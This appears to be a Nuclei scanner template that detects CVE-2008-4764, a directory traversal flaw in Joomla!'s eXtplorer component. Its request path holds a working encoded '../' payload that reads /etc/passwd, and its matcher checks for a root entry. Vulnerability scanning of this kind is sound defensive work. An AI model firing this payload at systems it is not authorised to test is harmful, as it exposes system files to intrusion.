id: CVE-2008-4764
info:
name: Joomla! Component com_extplorer 2.0.0 RC2 - Directory Traversal
author: daffainfo
severity: high
description: Directory traversal vulnerability in the eXtplorer module (com_extplorer) 2.0.0 RC2 and earlier in Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the dir parameter in a show_error action.
reference:
- https://www.exploit-db.com/exploits/5435
- https://www.cvedetails.com/cve/CVE-2008-4764
- http://www.securityfocus.com/bid/28764
- https://exchange.xforce.ibmcloud.com/vulnerabilities/41873
classification:
cve-id: CVE-2008-4764
tags: cve,cve2008,joomla,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_extplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2Fetc%2Fpasswd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
